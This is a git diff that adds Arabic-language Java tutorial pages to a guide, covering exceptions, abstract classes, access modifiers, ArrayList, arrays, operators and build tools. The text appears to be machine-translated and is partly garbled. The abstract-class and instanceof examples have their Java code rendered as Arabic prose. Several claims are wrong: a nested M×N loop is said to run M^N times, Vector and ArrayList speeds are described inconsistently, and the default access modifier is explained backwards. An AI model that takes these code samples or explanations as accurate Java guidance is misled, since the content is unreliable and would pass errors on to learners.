+*   [Ionicons](https://ionicons.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/ExceptionHandling b/client/src/guide/arabic/java/ExceptionHandling
new file mode 100644
index 0000000000..80ff6f9e09
--- /dev/null
+++ b/client/src/guide/arabic/java/ExceptionHandling
@@ -0,0 +1,33 @@
+---
+title: Exceptions in Java
+localeTitle: الاستثناءات في جافا
+---
+## ما هو استثناء؟
+
+استثناء هو حدث غير مرغوب فيه أو غير متوقع ، والذي يحدث أثناء تنفيذ برنامج أي في وقت التشغيل ، الذي يعطل التدفق الطبيعي لتعليمات البرنامج.
+
+## خطأ مقابل استثناء
+
+خطأ: يشير الخطأ إلى وجود مشكلة خطيرة لا يجب أن يحاول تطبيق معقول التقاطها. استثناء: يشير الاستثناء إلى الشروط التي قد يحاول تطبيق معقول التقاطها.
+
+## التسلسل الهرمي الاستثناء
+
+جميع أنواع الأخطاء والاستثناءات هي فئات فرعية للفئة Throwable ، وهي فئة أساسية من التسلسل الهرمي. ويرأس فرع واحد استثناء. يتم استخدام هذه الفئة للظروف الاستثنائية التي يجب أن تلتقطها برامج المستخدم. NullPointerException هو مثال لمثل هذا الاستثناء. فرع آخر ، يتم استخدام الخطأ من قبل نظام وقت التشغيل Java (JVM) للإشارة إلى وجود أخطاء يجب القيام بها مع بيئة وقت التشغيل نفسها (JRE). StackOverflowError مثال على مثل هذا الخطأ.
+
+## كيفية استخدام جملة try-catch
+
+ `try { 
+ // block of code to monitor for errors 
+ // the code you think can raise an exception 
+ } 
+ catch (ExceptionType1 exOb) { 
+ // exception handler for ExceptionType1 
+ } 
+ catch (ExceptionType2 exOb) { 
+ // exception handler for ExceptionType2 
+ } 
+ // optional 
+ finally { 
+ // block of code to be executed after try block ends 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/abstract-class/index.md b/client/src/guide/arabic/java/abstract-class/index.md
new file mode 100644
index 0000000000..0c8c43028f
--- /dev/null
+++ b/client/src/guide/arabic/java/abstract-class/index.md
@@ -0,0 +1,26 @@
+---
+title: Abstract Classes in Java
+localeTitle: دروس مجردة في جاوة
+---
+دعونا نناقش فصول مجردة. قبل الغوص في هذا البرنامج التعليمي من الأفضل أن تكون قد فهمت مفاهيم الفصول الدراسية والميراث.
+
+تعتبر الفئات Abstract الفئات التي يمكن subclassed (أي موسعة) ولكن لا يمكن إنشاء مثيل. يمكنك التفكير فيها **كإصدار** من واجهات **الفصل** ، أو كواجهة مع الرمز الفعلي المرفقة بالطرق.
+
+خذ بعين الاعتبار المثال التالي لفهم الطبقات التجريدية: لديك مركبة مركبة تحدد وظيفة أساسية معينة (طرق) ومكونات معينة (متغيرات الكائن) التي يجب أن تكون بها الآلات ، لتصنف على أنها مركبة. لا يمكنك إنشاء كائن للمركبة لأن السيارة في حد ذاتها فكرة مجردة. ومع ذلك يمكنك توسيع وظائف فئة السيارة لإنشاء سيارة أو دراجة نارية.
+
+\`\` \`جافا فئة تجريدية مركبة { // متغير يستخدم لإعلان الرقم. من العجلات في السيارة عجلات خاصة
+
+// متغير لتحديد نوع المحرك المستخدم محرك خاص
+
+// طريقة مجردة تعلن فقط ، ولكنها لا تحدد البداية // وظيفة لأن كل مركبة تستخدم آلية انطلاق مختلفة بداية الفراغ المجرد ()؛ }
+
+فئة السيارات العامة يمتد السيارة { ... }
+
+الطبقة العامة للدراجات النارية يمتد المركبة { ... }
+
+ `You cannot create an object of Vehicle class anywhere in your program. You can however, extend the abstract vehicle class and create objects of the child classes; 
+` 
+
+جافا مركبة جديدة Véhicle = سيارة جديدة () ؛ // غير صالحة سيارة مركبة = سيارة جديدة () ؛ // صالح مركبة mBike = دراجة نارية جديدة () ؛ // صالح
+
+سيارة carObj = سيارة جديدة () ؛ // صالح دراجة نارية mBikeObj = new دراجة نارية ()؛ // صالح \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/access-modifiers/index.md b/client/src/guide/arabic/java/access-modifiers/index.md
new file mode 100644
index 0000000000..5ed906ba3c
--- /dev/null
+++ b/client/src/guide/arabic/java/access-modifiers/index.md
@@ -0,0 +1,117 @@
+---
+title: Access Modifiers
+localeTitle: معدّلات الوصول
+---
+# معدّلات الوصول
+
+هل تريد أن تعرف كيف يمكن للناس الوصول إلى بعض الممتلكات الخاصة بك؟ لا تريد أي شخص يستخدم الملابس الداخلية الخاصة بك. ومع ذلك ، يمكن لأصدقائك المقربين وأقاربك استخدام سترة الخاص بك وربما سيارتك.
+
+على نحو مشابه لكيفية تعيين مستوى وصول إلى posessions الخاص بك ، والوصول إلى عناصر جافا ، أيضا. تريد تحديد مستوى الوصول للمتغيرات والطرق والفئات حسب الفئات الأخرى التي تريد الوصول إليها.
+
+توفر Java 4 مستويات لمعدلات الوصول. هذا يعني أنه يمكنك تعديل الوصول إلى متغير أو أسلوب أو فصل دراسي بأربع طرق. هذه الطرق الأربعة خاصة وعامة ومحمية ومتخلفة.
+
+يمكن تطبيق معدِّلات الوصول هذه على الحقول والطرق والفئات (الفصول هي حالة خاصة ، وسوف نلقي نظرة عليها في نهاية هذا العمل الفني). في ما يلي نظرة عامة سريعة 1 على ما هي `Access Levels` `Access Modifier` لكل `Access Modifier` :
+
+#### مرجع جدول بيانات الوصول:
+
+![جدول تعديلات الوصول](https://i.imgur.com/zoMspyn.png)
+
+#### معدل الوصول الخاص
+
+يسمح باستخدام متغير أو طريقة فقط في الفئة التي تم إنشاؤها فيها. لا يمكن لأي فئة أخرى خارج الفصل الدراسي الذي أنشأ المتغير أو الطريقة الوصول إليه. هذا يشبه إلى حد كبير الأجهزة الداخلية الخاصة بك. لا يمكن الوصول إليها إلا من قبل المالك. لجعل متغير أو طريقة خاصة ، يمكنك ببساطة إلحاق الكلمة الأساسية الخاصة قبل المتغير أو نوع الطريقة. دعونا نستخدم الخاصة في مثال الترميز. إذا أراد المصرف تقديم سعر فائدة بنسبة 10٪ على قروضه ، فإنه يضمن أن متغير معدل الفائدة (دعنا نفترض `int int_rate;` ) سيبقى خاصًا حيث لن يحاول أي فصل آخر الوصول إليه وتغييره. فمثلا؛
+
+`private String name;`
+
+ينشئ المثال أعلاه متغيرًا يسمى الاسم ويضمن أنه لا يمكن الوصول إليه إلا داخل الفئة التي تم إنشاؤها منه.
+
+مثال آخر لطريقة هو `java private void setAge(){ System.out.println("Set Age"); }` يضمن المثال أعلاه إمكانية الوصول إلى الطريقة setAge فقط داخل الفئة التي تم إنشاؤها من خلالها وفي أي مكان آخر.
+
+#### معدل الوصول العام
+
+يعد معد الوصول العام هو المقابل المباشر لمعدِّل الوصول الخاص. يمكن تعريف فئة أو طريقة أو متغير على أنها عامة وهذا يعني أنه يمكن الوصول إليه من أي صف. يمكن تشبيه معدّل الوصول العام بمدرسة عامة حيث يمكن لأي شخص طلب القبول والقبول.
+
+يمكن الوصول إلى فئة عامة أو طريقة أو متغير من أي صف آخر في أي وقت.
+
+على سبيل المثال ، للإعلان عن فئة عامة ، كل ما تحتاج إليه هو:
+
+ `public class Animal{ 
+ 
+ } 
+` 
+
+على هذا النحو ، يمكن الوصول إلى فئة الحيوان من أي فئة أخرى.
+
+ `public int age; 
+ public int getAge(){ 
+ } 
+` 
+
+أعلاه هي طرق لتحديد متغير وطريقة عامة.
+
+#### معدل الوصول الافتراضي
+
+يختلف معدِّل الوصول الافتراضي عن جميع مدخلات الوصول الأخرى في أنه لا يحتوي على أي كلمة رئيسية. لاستخدام معدِّل الوصول الافتراضي ، ما عليك سوى استخدام أيٍّ من معدِّلات الوصول الأخرى وهذا يعني ببساطة أنك تستخدم معدِّل وصول افتراضيًا.
+
+على سبيل المثال ، لاستخدام معدِّل الوصول الافتراضي لفئة ما ، يمكنك استخدامه
+
+ `class Bird{ 
+ } 
+` 
+
+هذا يعني أنك تستخدم مودم الوصول الافتراضي. يسمح معدِّل الوصول الافتراضي للمتغير أو الطريقة أو الفئة بالوصول إليها عن طريق الفئات الأخرى داخل الحزمة نفسها. الحزمة عبارة عن مجموعة من الفئات ذات الصلة في دليل الملفات. لمزيد من المعلومات حول الحزم ، راجع قسم الحزم.
+
+لا يمكن لأي فئة أخرى خارج الحزمة التي تم الإعلان عنها استخدام أي متغير أو طريقة أو فئة معلن عنها لاستخدام معدِّل الوصول الافتراضي.
+
+ `int age; 
+ void setNewAge(){ 
+ } 
+` 
+
+أعلاه هي بعض الطرق لاستخدام معدل الوصول الافتراضي للمتغير أو الطريقة. لا تنس أن معدِّل الوصول الافتراضي لا يحتوي على كلمة أساسية. يعني غياب معدّلات الوصول الثلاثة الأخرى أنك تستخدم معدّل الوصول الافتراضي.
+
+#### معدل الوصول المحمي
+
+يرتبط معدِّل الوصول المحمي ارتباطًا وثيقًا بمعدِّل الوصول الافتراضي. يحتوي معدّل الوصول المحمي على خصائص معدِّل الوصول الافتراضي ولكن مع القليل من التحسين.
+
+المتغير والطريقة هما الوحيدان اللذان يستخدمان معدِّل الوصول المحمي. يتمثل التحسن الطفيف في إمكانية الوصول إلى فئة خارج حزمة الفصل التي تم الإعلان عن متغيرها أو أسلوبها عن المتغير أو الطريقة المذكورة. هذا ممكن فقط إذا كان يرث من الدرجة ، ولكن.
+
+يجب أن تكون الفئة من حزمة أخرى والتي يمكن أن ترى المتغيرات أو الأساليب المحمية قد قامت بتوسيع الفئة التي قامت بإنشاء المتغيرات أو الطرق.
+
+ملاحظة بدون ميزة التوارث ، يكون معد الوصول الافتراضي لديه نفس الوصول تمامًا كمعدّل وصول محمي.
+
+فيما يلي أمثلة لاستخدام معدِّل الوصول المحمي:
+
+ `protected int age; 
+ protected String getName(){ 
+  return "My Name is You"; 
+ } 
+` 
+
+#### الوصول إلى المعدلات في الفصول الدراسية
+
+بشكل افتراضي ، يمكن أن تحتوي الفئات على 2 من المعدّلات:
+
+*   عامة
+*   لا يوجد معدِّل (معدِّل افتراضي)
+
+إذاً هذا يعني أن الطبقات لا يمكن أبداً أن تكون `private` أو `protected` ؟
+
+هذا أمر منطقي ، فلماذا تريد إنشاء صف خاص؟ لن يتمكن أي فصل آخر من استخدامها. لكن في بعض الأحيان ، يمكنك تضمين فئة في فصل آخر. يمكن تعيين هذه الفئات الخاصة ، الطبقات `inner classes` ، إلى خاص أو محمي بحيث يمكن الوصول إلى الفئة المحيطة بها فقط:
+
+ `public class Car { 
+    private String brand; 
+    private Engine engine; 
+    // ... 
+    private class Engine { 
+        // ... 
+    } 
+ } 
+` 
+
+في المثال أعلاه ، يمكن لفئة `Car` فقط استخدام فئة `Engine` . هذا يمكن أن يكون مفيدا في بعض الحالات.
+
+لا يمكن أبداً تعيين فئات أخرى إلى `protected` أو `private` ، لأنه لا معنى له. يتم استخدام معدِّل الوصول `protected` في جعل الأشياء `package-private` ولكن مع إمكانية الوصول إلى الفئات الفرعية. لا يوجد مفهوم مثل "subpackages" أو "package-inheritance" في جافا.
+
+### مصادر
+
+[1\. مستندات أوراكل على معدِّلات الوصول](https://docs.oracle.com/javase/tutorial/java/javaOO/accesscontrol.html "Oracle Docs")
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/arraylist/index.md b/client/src/guide/arabic/java/arraylist/index.md
new file mode 100644
index 0000000000..a2f23f9370
--- /dev/null
+++ b/client/src/guide/arabic/java/arraylist/index.md
@@ -0,0 +1,23 @@
+---
+title: ArrayList
+localeTitle: ArrayList
+---
+# ArrayList
+
+ArrayList هو جزء من شيء يسمى _إطار مجموعة_ .
+
+يتكون _إطار المجموعة_ من جميع الواجهات والفئات التي يمكنها الاحتفاظ بمجموعة من القيم (على غرار [المصفوفات](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/arrays.html) ). **ArrayList** هو فئة في هذا التسلسل الهرمي والمعروفة باسم _**كائن مجموعة**_ . يقوم بتنفيذ واجهة _القائمة_ التي بدورها تنفذ واجهة _المجموعة_ . يمكن العثور على واجهة _المجموعة_ هذه في حزمة `java.util` . سوف تحتاج إلى استيراد هذه الحزمة.
+
+ArrayList هو فئة يتم استخدامها لإنشاء صفائف ديناميكية. إنها أبطأ من المصفوفات العادية ولكنها تسمح بالكثير من التلاعب. يمكن أن تتم تهيئة حجم معين أو أن يكون حجمه الافتراضي 10 وحدات.
+
+`java ArrayList<String> names = new ArrayList<>(); ArrayList<Integer> ages = new ArrayList<>(5);`
+
+في المقتطف أعلاه ، تأخذ الانعكاسات الزاوية `<>` نوع بيانات عام كوسيطة تحدد نوع بيانات العناصر في ArrayList. يتم تحديد `names` ArrayList الأولى على أنها تحتوي على عناصر _سلسلة_ . وبالتالي ، سيتم السماح لها فقط بتضمين عناصر السلسلة. لم يتم تحديد حجمه بحيث يكون له حجم افتراضي من 10. حدد `ages` ArrayList الثاني أنه سيتم فقط عدد صحيح. لكن ArrayList لا يمكن الاحتفاظ بها الأوليات ، إلا أنه يحمل الأشياء. وبالتالي ، لجعله يخزن الأعداد الصحيحة ، أو العوامات ، إلخ. ، يمكننا استخدام دروس المجمع. سيكون `names` حجم معين من 5.
+
+منذ _قائمة_ ArrayList بتنفيذ ، يمكن إنشاء ArrayList باستخدام بناء الجملة التالي: `java List<Integer> students = new ArrayList<>();`
+
+ArrayList ديناميكية ، بمعنى أنها ستنمو بحجم إذا لزم الأمر ، وبالمثل يتقلص الحجم إذا تم حذف العناصر منه. هذا هو ما يجعله أفضل للاستخدام من المصفوفات العادية.
+
+يتيح ArrayList لنا الوصول إلى العناصر بشكل عشوائي. ArrayList يشبه _Vector_ في الكثير من الطرق. ولكنها أسرع من المتجهات. أهم شيء هو أن نلاحظ - ناقلات أسرع من المصفوفات ولكن ليس ArrayLists.
+
+لذا عندما يتعلق الأمر بالاختيار بين الاثنين - إذا كانت السرعة حرجة ، فيجب اعتبار المتجهات ، وإلا فإن ArrayLists أفضل عندما يتعلق الأمر بتخزين عدد كبير من العناصر والوصول إليها بكفاءة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/arrays/index.md b/client/src/guide/arabic/java/arrays/index.md
new file mode 100644
index 0000000000..7e926974a2
--- /dev/null
+++ b/client/src/guide/arabic/java/arrays/index.md
@@ -0,0 +1,167 @@
+---
+title: Arrays
+localeTitle: المصفوفات
+---
+# مجموعة مصفوفة
+
+المصفوفة هي عبارة عن مجموعة من القيم (أو الكائنات) من أنواع البيانات المماثلة (بدائية ومرجعية يتم السماح لكل نوع من أنواع البيانات) الموجودة في عناوين الذاكرة التسلسلية. يُستخدم Array لتخزين مجموعة من أنواع البيانات المشابهة. تبدأ الصفائف دائمًا بفهرس 0 ويتم إنشاء مثيل لها إلى عدد معين من الفهارس. يجب أن تكون كافة المتغيرات في الصفيف من نفس النوع ، والتي يتم التصريح عنها عند إنشاء مثيل.
+
+**بناء الجملة:**
+
+ `dataType[] arrayName;   // preferred way 
+` 
+
+هنا ، يصف `java datatype[]` أن جميع المتغيرات التي تم ذكرها بعد ذلك سيتم إنشاء مثيل لها كمصفوفات من نوع البيانات المحدد. لذا ، إذا أردنا إنشاء مزيد من المصفوفات من نوع البيانات المماثل ، فكل ما علينا `java arrayName` هو إضافتها بعد `java arrayName` المحدد (لا تنسى فصلها عبر الفواصل فقط). ويرد مثال أدناه في القسم التالي للرجوع إليه.
+
+ `dataType arrayName[];  //  works but not preferred way 
+` 
+
+هنا ، يصف `java datatype` فقط أن المتغيرات المذكورة بعد أن تنتمي إلى هذا النوع من البيانات. إلى جانب ذلك ، يصف `java []` بعد اسم المتغير أن المتغير هو صفيف من نوع البيانات المحدد (وليس مجرد قيمة أو كائن من هذا النوع من البيانات). لذا ، إذا أردنا إنشاء مزيد من المصفوفات من نوع البيانات المماثل ، فسوف نضيف أسماء المتغيرات بعد الاسم المحدد بالفعل ، مفصولة بفواصل وكل مرة سيتعين علينا إضافة `java []` بعد اسم المتغير وإلا فسيكون المتغير إنشاء مثيل كمتغير تخزين قيمة عادية (وليس صفيف). لفهم أفضل يتم إعطاء مثال في المقطع التالي.
+
+## مقتطفات الشفرة للبناء أعلاه:
+
+ `double[] list1, list2; // preferred way 
+` 
+
+فوق المقتطف التعليمات البرمجية instantiates 2 صفائف من أسماء مزدوجة النوع list1 و list2.
+
+ `double list1[], list2; // works but not preferred way 
+` 
+
+فوق المقتطف الشفوي مصفوفة من نوع البيانات مزدوج المسمى list1 ومتغير بسيط من نوع البيانات مزدوج المسمى list2 (لا تخلط مع قائمة **name2** . أسماء المتغيرات لا علاقة لها بنوع المتغير).
+
+ملاحظة: لا يتم تفضيل `double list[]` للنمط `double list[]` لأنها تأتي من لغة C / C ++ وتم اعتمادها في Java لاستيعاب المبرمجين C / C ++. بالإضافة إلى أنه أكثر قابلية للقراءة: يمكنك أن تقرأ أنه "مجموعة مزدوجة تسمى قائمة" بخلاف "قائمة مزدوجة تسمى صفيف"
+
+## إنشاء المصفوفات:
+
+ `dataType[] arrayName = new dataType[arraySize]; 
+` 
+
+## مقتطفات الشفرة للبناء أعلاه:
+
+ `double[] List = new double[10]; 
+` 
+
+## طريقة أخرى لإنشاء صفيف:
+
+ `dataType[] arrayName = {value_0, value_1, ..., value_k}; 
+` 
+
+## مقتطفات الشفرة للبناء أعلاه:
+
+ `double[] list = {1, 2, 3, 4}; 
+ 
+ The code above is equivalent to: 
+ double[] list = new double[4]; 
+ *IMPORTANT NOTE: Please note the difference between the types of brackets 
+ that are used to represent arrays in two different ways. 
+` 
+
+## الوصول إلى المصفوفات:
+
+ `arrayName[index]; // gives you the value at the specified index 
+` 
+
+## مقتطفات الشفرة للبناء أعلاه:
+
+ `System.out.println(list[1]); 
+` 
+
+انتاج:
+
+ `2.0 
+` 
+
+## تعديل المصفوفات:
+
+ `arrayName[index] = value; 
+` 
+
+ملاحظة: لا يمكنك تغيير حجم أو نوع الصفيف بعد تهيئته. ملاحظة: يمكنك مع ذلك إعادة ضبط المصفوفة مثل ذلك
+
+ `arrayName = new dataType[] {value1, value2, value3}; 
+` 
+
+## حجم المصفوفات:
+
+من الممكن العثور على عدد العناصر في صفيف باستخدام "سمة الطول". تجدر الإشارة هنا إلى أن `java length` هو **سمة** لكل صفيف أي اسم متغير يخزن طول المتغير. يجب عدم الخلط بينه وبين **طريقة** الصفيف لأن الاسم هو نفس طريقة `java length()` المطابقة لفئات String.
+
+ `int[] a = {4, 5, 6, 7, 8}; // declare array 
+ System.out.println(a.length); //prints 5 
+` 
+
+## مقتطفات الشفرة للبناء أعلاه:
+
+ `list[1] = 3; // now, if you access the array like above, it will output 3 rather than 2 
+` 
+
+_مثال على الكود:_
+
+ `int[] a = {4, 5, 6, 7, 8}; // declare array 
+ for (int i = 0; i < a.length; i++){ // loop goes through each index 
+    System.out.println(a[i]); // prints the array 
+ } 
+` 
+
+انتاج:
+
+ `    4 
+    5 
+    6 
+    7 
+    8 
+` 
+
+### صفائف متعددة الأبعاد
+
+يمكن اعتبار صفائف ثنائية الأبعاد (صفائف ثنائية الأبعاد) كطاولة ذات صفوف وأعمدة. على الرغم من أن هذا التمثيل هو مجرد طريقة لتصور المجموعة لحل المشاكل بشكل أفضل. يتم تخزين القيم فعليًا في عناوين الذاكرة المتسلسلة فقط.
+
+ `int M = 5; 
+ int N = 5; 
+ double[][] a = new double [M][N]; //M = rows N = columns 
+ for(int i = 0; i < M; i++) { 
+    for (int j = 0; j < N; j++) { 
+        //Do something here at index 
+    } 
+ } 
+` 
+
+ستنفذ هذه الحلقة M ^ N مرة وستبني هذا:
+
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]
+
+وبالمثل ، يمكن أيضًا إنشاء مصفوفة ثلاثية الأبعاد. يمكن تصوره كمكعبوب بدلاً من مستطيل (كما هو مذكور أعلاه) ، مقسم إلى مكعبات أصغر مع كل مكعب يخزن بعض القيمة. يمكن التهيئة الأولية:
+
+ `int a=2, b=3, c=4; 
+ int[][][] a=new int[a][b][c]; 
+` 
+
+بطريقة مماثلة ، يمكن للمرء أن مجموعة من أبعاد مثل ما هو / هي ترغب في ولكن تصور مجموعة من أكثر من 3 أبعاد يصعب تصور بطريقة معينة.
+
+### Jagged Arrays
+
+الصفائف الخشنة هي صفائف متعددة الأبعاد لها عدد محدد من الصفوف ولكن عدد الأعمدة متفاوت. يتم استخدام الصفائف الخشنة للحفاظ على استخدام الذاكرة للمصفوفة. فيما يلي مثال الكود:
+
+ `int[][] array = new int[5][]; //initialize a 2D array with 5 rows 
+ array[0] = new int[1]; //creates 1 column for first row 
+ array[1] = new int[2]; //creates 2 columns for second row 
+ array[2] = new int[5]; //creates 5 columns for third row 
+ array[3] = new int[5]; //creates 5 columns for fourth row 
+ array[4] = new int[5]; //creates 5 columns for fifth row 
+` 
+
+انتاج:
+
+\[0\]  
+\[0 | 1\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]
+
+#### معلومات اكثر:
+
+*   المصدر: [Java Arrays](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/arrays.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/basic-operations/bitwise-operators/index.md b/client/src/guide/arabic/java/basic-operations/bitwise-operators/index.md
new file mode 100644
index 0000000000..573dbd2d2f
--- /dev/null
+++ b/client/src/guide/arabic/java/basic-operations/bitwise-operators/index.md
@@ -0,0 +1,60 @@
+---
+title: bitwise operator example
+localeTitle: مثال على معامل البت
+---
+# مشغلات bitwise
+
+## جدول الحقيقة
+
+![truth table](https://4.bp.blogspot.com/-0KPDI41veH0/V-OtObm_UWI/AAAAAAAAAso/CkTS0zUMGKIjlE3gUD0fMhmp-B0zcfBmACLcB/s1600/Bitwise-truthtable-Javaform.jpg "جدول الحقيقة")
+
+تشبه مشغلات bitwise المشغلين المنطقيين ، إلا أنها تعمل على نطاق أصغر - تمثيل البيانات الثنائية. يمكن تحويل أي بيانات إلى مكافئها الثنائي. على الرغم من أن المشغلين الثنائيين يعملون على المستوى الثنائي إلا أنه يتم تشغيلهم بين القيم العشرية العادية فقط.
+
+## أنواع المشغلين bitwise
+
+### Bitwise OR
+
+Bitwise OR هو مشغل ثنائي (يعمل على اثنين من المعاملات). تدل عليه |. ذا | عامل التشغيل يقارن البتات المقابلة من اثنين من المعاملات. إذا كان أي من البتات هو 1 ، فإنه يعطي 1. إن لم يكن ، فإنه يعطي 0.
+
+### Bitwise AND
+
+Bitwise AND هو مشغل ثنائي (يعمل على اثنين من المعاملات). تدل عليه &. يقوم المشغل بمقارنة البتات المقابلة من اثنين من المعاملات. إذا كان كلا البتات 1 ، فإنه يعطي 1. إذا كان أي من البتات ليس 1 ، فإنه يعطي 0.
+
+### Bitwise Complement
+
+مكمّل Bitwise هو مشغل وحيد (يعمل على مُعامل واحد فقط). هو تدل عليه ~. يقوم المشغل ~ بتغيير نمط البتة. يجعل كل 0 إلى 1 ، وكل 1 إلى 0.
+
+### Bitwise XOR
+
+Bitwise XOR هو مشغل ثنائي (يعمل على اثنين من المعاملات). تدل عليه ^. عامل التشغيل ^ يقارن البتات المقابلة من اثنين من المعاملات. إذا كانت البتات المقابلة مختلفة ، فإنها تعطي 1. إذا كانت البتات المقابلة متماثلة ، فإنها تعطي 0.
+
+### التحول الأيسر
+
+يقوم عامل تشغيل shift الأيسر << بنقل نمط بت إلى اليسار بواسطة عدد معين من البتات المحددة ، ويتم نقل البتات الصفرية إلى مواقع الترتيب المنخفض.
+
+### النقلة الصحيحة
+
+يقوم مشغل shift الصحيح >> بنقل شكل بت إلى اليمين بواسطة عدد معين من وحدات البت المحددة.إذا كان الرقم رقمًا مكملاً مكملاً لثانيتين ، يتم نقل بت الإشارة إلى المواضع ذات الترتيب العالي.
+
+### غير لليمين التحول
+
+عامل shift shift غير الموقعة >>> ينقل صفر في الموضع الموجود في أقصى اليسار.
+
+### مثال على معامل البتات:
+
+ `    int a = 60;          /* 60 = 0011 1100 represents 60 in binary*/ 
+    int b = 13;          /* 13 = 0000 1101 */ 
+    int c = 0; 
+ 
+    c = a & b;        /* 12 = 0000 1100 */ 
+    c = a | b;        /* 61 = 0011 1101 */ 
+    c = a ^ b;        /* 49 = 0011 0001 */ 
+    c = ~a;           /*-61 = 1100 0011  :Invert all bits */ 
+ 
+    // shift operators : zeros are shifted in to replace the discarded bits 
+    c = a << 2;       /* 240 = 1111 0000 : Shift left 2 bits*/ 
+    c = a >> 2;       /* 15 = 1111 */ 
+    c = a >>> 2;      /* 15 = 0000 1111 : Zero fill right shift*/ 
+` 
+
+**لمزيد من المعلومات:** [انقر هنا](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/op3.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/basic-operations/index.md b/client/src/guide/arabic/java/basic-operations/index.md
new file mode 100644
index 0000000000..38157cc1a3
--- /dev/null
+++ b/client/src/guide/arabic/java/basic-operations/index.md
@@ -0,0 +1,42 @@
+---
+title: Basic Operations
+localeTitle: العمليات الأساسية
+---
+# العمليات الأساسية
+
+تدعم Java العمليات التالية على المتغيرات:
+
+*   **الحساب** : `Subtraction (-)` `Addition (+)` ، `Subtraction (-)` ، `Multiplication (*)` ، `Division (/)` ، `Modulus (%)` ، `Increment (++)` ، `Decrement (--)` .
+*   **سلسلة سلسلة** : `+` يمكن استخدامها لسلسلة سلسلة ، ولكن الطرح `-` على سلسلة ليست عملية صالحة.
+*   **علائقي** : `Equal to (==)` ، `Not Equal to (!=)` ، `Greater than (>)` ، `Less than (<)` ، `Greater than or equal to (>=)` ، `Less than or equal to (<=)`
+*   **Bitwise** : `Bitwise And (&)` ، `Bitwise Or (|)` ، `Bitwise XOR (^)` ، `Bitwise Compliment (~)` ، `Left shift (<<)` ، `Right Shift (>>)` ، `Zero fill right shift (>>>)`
+*   **منطقي** : `Logical And (&&)` `Logical Or (||)` `Logical Not (!)`
+*   **التعيين** : `=` ، `+=` ، `-=` ، `*=` ، `/=` ، `%=` ، `<<=` ، `>>=` ، `&=` ، `^=` ، `|=`
+*   **الآخرين** : `Conditional/Ternary(?:)` ، `instanceof`
+
+في حين أن معظم العمليات لا تحتاج إلى شرح ، فإن المشغل الشرطي (Ternary) يعمل كما يلي:
+
+`expression that results in boolean output ? return this value if true : return this value if false;`
+
+مثال: الشرط الحقيقي:
+
+ `    int x = 10; 
+    int y = (x == 10) ? 5 : 9; // y will equal 5 since the expression x == 10 evaluates to true 
+` 
+
+حالة كاذبة:
+
+ `    int x = 25; 
+    int y = (x == 10) ? 5 : 9; // y will equal 9 since the expression x == 10 evaluates to false 
+` 
+
+يتم استخدام مثيل المشغل لفحص الكتابة. يمكن استخدامه لاختبار ما إذا كان الكائن عبارة عن مثيل لفئة أو فئة فرعية أو واجهة. تنسيق عام _**مثيل** الكائن من فئة / فئة فرعية / واجهة_
+
+هنا هو برنامج لتوضيح عامل instanecof: \`\` \`جافا الشخص obj1 = شخص جديد ()؛ الشخص obj2 = فتى جديد ()؛
+
+ `    // As obj is of type person, it is not an 
+    // instance of Boy or interface 
+    System.out.println("obj1 instanceof Person: " +  (obj1 instanceof Person)); /*it returns true since obj1 is an instance of person */ 
+` 
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/build-tools/index.md b/client/src/guide/arabic/java/build-tools/index.md
new file mode 100644
index 0000000000..ee9ae58010
--- /dev/null
+++ b/client/src/guide/arabic/java/build-tools/index.md
@@ -0,0 +1,25 @@
+---
+title: Build Tools
+localeTitle: بناء أدوات
+---
+# بناء أدوات
+
+تسمح لك أدوات إنشاء جافا بتخصيص بنائكم للقيام بأشياء مثل تحديد الملفات التي يجب تضمينها في جرة ، وإضافة تبعيات من الإنترنت ، وتنفيذ المهام تلقائيًا مثل الاختبارات أو إلتزامات github. تساعد أدوات البناء أيضًا على تسهيل نمذجة المشاريع الخاصة بك. تشمل أدوات البناء الشائعة [Gradle](https://gradle.org/) و [Maven](https://maven.apache.org/)
+
+## Gradle
+
+يمكن كتابة نصوص بناء Gradle في Groovy أو Kotlin وهي قابلة للتخصيص بدرجة كبيرة. تستخدم معظم المشروعات برنامج Gradle wrapper ، مما يسمح ببنائها على أي نظام ، حتى بدون تثبيت Gradle. Gradle هو أداة البناء الموصى بها لتطوير Android.
+
+## مخضرم
+
+تتم كتابة ملفات بناء مخضر مع XML. مثل Gradle ، تتم كتابة العديد من المكونات الإضافية لـ Maven لتخصيص برامجك ، ولكن Maven ليست قابلة للتخصيص لأنك لا تستطيع التفاعل مع Maven API مباشرة.
+
+### معلومات اكثر:
+
+https://gradle.org/
+
+https://en.wikipedia.org/wiki/Gradle
+
+https://maven.apache.org/what-is-maven.html
+
+https://en.wikipedia.org/wiki/Apache\_Maven
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/built-in-functions/index.md b/client/src/guide/arabic/java/built-in-functions/index.md
new file mode 100644
index 0000000000..c812e48a3b
--- /dev/null
+++ b/client/src/guide/arabic/java/built-in-functions/index.md
@@ -0,0 +1,13 @@
+---
+title: Built-In Functions
+localeTitle: وظائف مدمجة
+---
+# وظائف مدمجة
+
+تحتوي Java أيضًا على العديد من الوظائف المضمنة أو المحددة مسبقاً والتي عادة ما يتم تخزينها في حزم java.lang و java.io ، التي يتم استيرادها تلقائيًا في برامج التحرير مثل BlueJ أو يمكن استيرادها باستخدام Syntax-
+
+ `import java.lang.*; 
+ import java.io.*; 
+` 
+
+وتشمل هذه الوظائف التي تجعل مهمة طويلة وصعبة للغاية أن تفعل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/classes-and-objects/index.md b/client/src/guide/arabic/java/classes-and-objects/index.md
new file mode 100644
index 0000000000..db24ba5877
--- /dev/null
